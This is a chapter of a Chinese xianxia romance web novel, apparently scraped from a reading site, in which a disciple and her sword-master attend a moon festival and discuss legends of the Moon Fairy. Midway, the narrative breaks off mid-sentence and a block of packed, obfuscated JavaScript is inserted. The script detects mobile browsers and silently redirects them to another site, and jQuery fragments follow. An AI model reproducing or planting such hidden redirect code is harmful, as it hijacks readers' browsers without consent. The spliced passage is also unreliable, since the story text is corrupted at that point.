这个问题,沈开云还真就回答不上来。
她抬头,天上的红日滴溜溜坠下来,身边的人在这暖色的夕阳下模糊不清,唯有臂膀内侧的发丝缕缕分明。
长发尾端被余晖染成琥珀色,弯折至桌下,贴于他交叉缚紧的刺绣腰封前。
沈开云很少靠尘尽生这么近。
银白下裳被他膝盖骨顶起两个起伏,橘紫绸丽的夕阳淌在上面,勾勒出一缎浑圆的光影。这是师父的大腿肉。
尘尽生的目光随着她微微下陷,旋即视线一凝。
男人哑然:“你在看什么?”
“师父……”沈开云挪了下上嘴唇,震惊道,“原来你也有腿啊。”
尘尽生:“……我不可以有,吗?”
“不不不不,我不是这个意思。”沈开云解释不清,索性就不解释了,耍赖道,“师尊你就当我方才没说好不好。”
尘尽生盯了她片刻,轻点下巴。
见他不追究,少女又瞥了两眼桌下。
师父也有腿。
师父也是活生生的人。
她第一次如此清晰的意识到这一点。
做人,总是很累的。
故此,她看向尘尽生的眼神中带上了些她一贯而有的东西。
“方才师尊问我的问题,我听见了。”
沈开云心疼地望向尘尽生,道:“我和师尊在一起怎么会不开心呢?吃到了很多好吃的,见到了很多新鲜地方,不用担心危险……”
她掰着指头给他细数,每说一句,尘尽生的睫毛就微眨一次。
沈开云:“所以啊师尊,你不要总是想很多,能拜入你门下,就是我这辈子最大的福分了。”
“当然哟,怎么说呢,如果我能生生世世都做你徒弟,就更好了。”沈开云心虚移开视线,试图给自己上个免费保险。
万一她求道未半而中道崩殂了呢!
到时候这群人都热火朝天的继续修着仙,聚宝的聚宝,收徒的收徒,只留转世的她一个人在乡下面朝黄土面朝天的,那咋行!
“生生世世?”尘尽生的手指一缩。
沈开云点头:“嗯!生生世世。”
少女上唇唰得扬起,两颗小小的虎齿如珍珠般圆润,尘尽生为她倒了杯茶,也被带着缓缓勾起唇角。
“是你说的,生生世世做我徒弟。”
“我会记住。”
他的内眼角锋利,微微下勾,深深地剜了眼沈开云。有些说不清道不明的情谊太浑浊,甚至堆积到了恨的地步。
夕阳梦幻,如泡影消逝,尘尽生他从始至终都很清楚。
绵绵蓝絮沁透了整个天际,眼见夜起了,灯火自这黑黑的街里头层层亮起,勤快的小二也为他们填了盏油灯。
“客官,要不要来束月枝呀。”
小二将用完的菜饭撤下,捧着一小篮闪着荧光的木枝嬉笑道,“马上他们游神的就要舞到这头了,有了这个,说不定能有幸瞧见我们月牙仙儿呢。”
“月牙仙?”沈开云拿起两束缠着小灯的桂枝,树枝细长优美,细瞧着,每一束的长势皆与萧仁给她的太阴枝相似。
沈开云惊叹:“竟然都长的差不多,要弄起这么一篮子不容易吧。”
“是呢,挑选原枝只是最基础的一环,毕竟是敬神的东西,是万万随意不得的。”
小二细瞧了他们二人一眼,笑道,“二位是第一次来我们正规州吧,怪不得不认我们月牙儿仙。”
沈开云:“我是第一次来!”
她瞥了眼尘尽生,男人眼神放空,正将那桂枝上的灯绳一点点整理规整。
“他估计也是第一次吧。”沈开云帮师父回道。
“那二位来的难得,可一定要买份月枝。”小二道,“咱们这大陆,千年前是没有月亮的,二位可知?”
沈开云挑了两束新鲜的买下,道:“我晓得的。”
街上人来往去,大大小小,腰间皆插着桂枝,连带着店家自家的小童也是。他们二人折枝作剑,在暗黄的灯下咿咿呀呀的,一路从前桌绕至后桌。
“荒纪年时期,天上九日轮番当值,又在第十个太阳日一齐坠下。那时的我们一天中要见得九次烈日,才能换来一夜寂静。”
“现在之所以要五个太阳日与五个月亮日合起来才算做一日,也是为了纪念我人族苦楚啊。”小二叹了口气。
“不过幸而当时天公降材,月仙转世成一女子。她与众英杰冲破艰难险阻,斩尽烈阳,又在最后关头化作寒月,赐我族众人不惧黑夜的仁慈。”
这一番欲扬先抑的说书,说得在座的食客皆纷纷叫好,忆起先人岁月,那叫个热血沸腾。提剑者,皆恨不得去杀两只妖兽泄愤。
沈开云也跟着啪啪鼓起掌,兴奋叫道:“好!月牙仙真好!”
她看了眼尽生,小声问起这位从那个时代活下来的权威人士:“师尊,你说这小二讲的,是真的假的?”
尘尽生沉默了片刻:“我想,是真的。”
“不对哦哥哥姐姐,那个小二说的是假的。”
店家的两个小儿从桌前弹出,流鼻涕的男娃娃道:“他都是为了卖月枝才这么说的。”
“不要把阿叔说的这么坏!”披着红袍子的女娃娃打了他一拳,哼哼道,“阿叔说的是没错,不过其实还有另一个传说。”
见她挺着肚腩,一副学大人卖关子的样子,沈开云笑着哄道:“是什么呀?”
女娃娃:“八只金乌坠落后,月牙仙的刀锋又将最后一只金乌也斩碎了。”
“啊?”沈开云一惊,她没想到小娃娃嘴里的野史这么野,“现在天上的太阳不是一直在吗?”
“你听我说完!”女娃娃气道,“那时的天地一片黑暗,众生燃烧灵气与生命活在泥沼之中。”
“月牙仙痛思,晶莹的眼泪化作月枝,一片一片碎落在大地上,成为我们仅存的流光。眼泪引来了迷茫的人们,也引来了月牙仙的师父。”
沈开云听的津津有味。
“月仙的师父会杀了她以正师门吧。”她道。
“你为什么会这么想呢?”身旁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371865|199948||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安静许久的男人突然出声问道。
“师尊,你真是时时刻刻在考我。”沈开云谴责他。
街上窸窸窣窣,数不清的荧光桂枝挂在路人腰间,月仙的眼泪在尘尽生的瞳孔中倒映游动,一往千年。
他看起来真的很想知道。
沈开云思考道:“因为月仙的传说通篇从没出现过师父这号人啊。他们师徒关系一定很一般,说不定就是个挂名的师父。”
尘尽生哑声:“是吗。”
沈开云继续道:“关系不好,自然是要杀她的。”
“如果他们师徒情深,如果你是那位月仙,此时的你会怎么想?”
那两个小娃娃早已被小二领走带回去,街上人越发多了。
沈开云挠挠头继续答题:“那我肯定又害怕又期待吧。”
“我要是闯下了大祸当然害怕了,我肯定是想要有人救我的。谁都好,求求了,出来给我出出主意,让我弥补过错吧。”她做了两个拜天拜地的滑稽动作。
男人指尖泛青,表情空白,僵声道:“原来,你是这么想的。”
”不过我要是月仙的话,师尊你肯定会来帮我的吧!”沈开云偷笑着怕了个马屁,拽着他的胳膊道,“师尊你这么厉害,这么心软,肯定不会弃我于不顾的吧!”
被她拽着胳膊的人隐于暗处,臂腕硬得像根死物。天太暗,沈开云看不清他的脸,只能看到他紧绷颤抖的唇线。
天上雾散云开,一抹柔和的月光堪堪擦过了他的脸侧,是煞白的,是潮湿的。
“我若真弃你不顾呢?”尘尽生用力道。
“什么!”沈开云脸色大变,“你要是这样子干,那我做鬼都不会放过你的。”
“我一定会恨死你的!”少女信誓旦旦地点头,做出了个极有威慑力的大动作。
“……好。”尘尽生默了片刻,“那你就恨我。哪怕做了鬼,也不要放过我。”
“你要恨我。”
他脊背微松,就好似卸了口气般。
明明是恨,却被他说得像爱一般美妙。
沈开云只觉得剑尊应当是一心只有大道,根本分不清什么是爱,什么是恨。亦或者说,哪怕没有爱,只要有恨,他就能满足。
“好吧好吧。”她胡乱敷衍道。
不过玩笑归玩笑,若真出了事,她可不敢去恨尘尽生。
遗忘才是真的放下,仇恨只会伤害自己。她不想去恨任何人,也从来不会。
少女的眼睛早已经被拐角处走来的神队伍给引了过去。
浩浩荡荡的人们正敲锣打鼓,房屋高的执枝女像被他们架着,一步一荡地向前巡游。每值夜晚降临,月牙仙的眼泪总会亮起,四散在这正规州的各地。
身旁的男人正看着她,睫毛许久都舍不得眨一下。消沉了许久的人似是此时才稳下来,也自顾自地认为,往后会一直如此。
“师父,这些日子,你教我习剑吧。”沈开云将腰间与萧郎一对的水千重拿了出来,珍惜地摸了摸。
她笑道:“我想用它。”